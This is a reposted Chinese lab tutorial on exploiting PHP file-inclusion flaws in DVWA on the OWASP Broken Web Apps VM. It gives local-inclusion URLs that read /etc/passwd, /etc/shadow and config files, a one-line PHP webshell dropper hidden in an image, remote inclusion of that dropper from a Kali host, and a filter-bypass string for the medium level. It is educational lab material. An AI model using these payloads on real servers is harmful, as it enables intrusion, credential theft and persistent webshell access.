欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  科技

文件包含渗透,当无法进行上传渗透时另一种黑客攻击

程序员文章站 2022-06-22 15:58:34
当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。 1.实验环境 目标靶机:OWASP_Broken_Web_Apps_VM_1.2 "下载地址" 我们还需要 和`kali`这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。 实验原理及危害 2 ......

当上传是高安全模式时,我们大可不必非要用上传渗透实现对服务器的攻击,我们可以换一种方式。

1.实验环境

目标靶机:owasp_broken_web_apps_vm_1.2
我们还需要中国菜刀kali这两个工具,把所有的杀毒软件关了,不然中国菜刀可能会被杀毒软件和谐。
实验原理及危害

文件包含漏洞:即file inclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可
以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文
件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包
含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务
器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不
严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。
1. 文件包含(file inclusion)即程序通过[包含函数]调用本地或远程文件,以此来实现拓展功能
2. 被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞
3. 文件包含漏洞主要发生在有包含语句的环境中,例如php所具备include、require等包含函数
文件包含分为两类:
本地文件包含lfi(local file inclusion) 当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含rfi(remote file inclusion) 当被包含的文件在第三方服务器时,叫做远程文件包含

2.低安全级别渗透

首先我们需要用虚拟机打开目标靶机,并查看ip地址
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

root@owaspbwa:~# ip a
1: lo: <loopback,up,lower_up> mtu 16436 qdisc noqueue state unknown 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state unknown qlen 1000
    link/ether 00:0c:29:b2:da:ea brd ff:ff:ff:ff:ff:ff
    inet 192.168.13.144/24 brd 192.168.13.255 scope global eth0
    inet6 fe80::20c:29ff:feb2:daea/64 scope link 
       valid_lft forever preferred_lft forever

找到ip后,我们打开网页访问192.168.13.144
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

1.本地文件包含
访问本地系统账号信息及其它敏感信息
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/passwd
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/shadow
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/php5/apache2/php.ini
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/mysql/my.cnf
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=/etc/apache2/apache2.conf

这些都是正常的访问:
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
图片插入一句话工具
因为在上传高安全模式下,我们只能上传图片,所以我们可以利用图片来产生我们需要的小马文件。

1. 制作一句话图片木马 
<?fputs(fopen("yjssjm.php","w"),'<?php eval($_post[yjssjm]);?>')?>
#yjssjm.php 是我们生成的文件里面写着<?php eval($_post[yjssjm]);?>
3. 上传图片木马文件
4. 执行文件包含并生成后门
5. 通过菜刀连接webshell
提示:
/var/www/dvwa/hackable/uploads     	#dvwa文件上传访问的目录 
/var/www/dvwa/vulnerabilities/fi     		#dvwa文件包含访问的目录 yjssjm.php

文件包含渗透,当无法进行上传渗透时另一种黑客攻击
这个时候我们的图片以及是带有木马的图片了。
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
出来这么一堆乱码,就是成功了。
我们可以去目标靶机owasp上看一下
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

地址写的时候,将fi后面的全部去掉,换成你生成的小马的文件名
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm.php

文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

2.远程文件包含

建立远程服务器,这里使用kali作为远程服务器,有条件的小伙伴可以使用云服务器。
原理特别简单,我们只需要在远程服务器上创建小马文件,使用远程文件包含,包含到我们这个文件就可以了。
打开kali,默认用户名是root,密码是toor
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

打开apache
root@kali:~# service apache2 start
root@kali:~# vim /var/www/html/yjssjm.txt   #在网站目录下面创建文件
<?fputs(fopen("yjssjm1.php","w"),'<?php eval($_post[yjssjm]);?>')?>

访问一下发现apache已经成功启动
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

打开中国菜刀,同样的操作,这里是yjssjm1.php
http://192.168.13.144/dvwa/vulnerabilities/fi/yjssjm1.php

文件包含渗透,当无法进行上传渗透时另一种黑客攻击
同样能入侵服务器。

3.中安全级别的渗透

文件包含渗透,当无法进行上传渗透时另一种黑客攻击
查看源码我们发现增加了远程文件包含的安全性
文件包含渗透,当无法进行上传渗透时另一种黑客攻击

1.本地文件包含

因为源码只是增加了远程的安全性,所以我们用上面写的低安全性渗透的方法就可以实现了

2.远程文件包含
 <?php
    $file = $_get['page']; // the page we wish to display 
    // bad input validation
    $file = str_replace("http://", "", $file);
    $file = str_replace("https://", "", $file);        
?> 
==============================================================
我们仔细看一下这些代码,其实就是如果我匹配到了"http://" 这些字符,那么我就将其替换为空字符
同样如果我匹配到了"https://" 这些字符,那么我就将其替换为空字符
如果我们再去访问下面这个网址
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=http://192.168.13.145/yjssjm.txt
当然是什么都访问不到,因为它默认把我们等号后面的那个"http://"去掉了,即
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=192.168.13.145/yjssjm.txt
这样我们当然会失败,所以我们需要多加一个"http://"
而添加的方法不唯一,下面举个例子
http://192.168.13.144/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.13.145/yjssjm.txt
hthttp://tp:// - http:// = http://

只要执行成功,小马文件生成之后,下面的步骤就跟上面的一样了


转自:https://www.cnblogs.com/yjssjm/p/12672380.html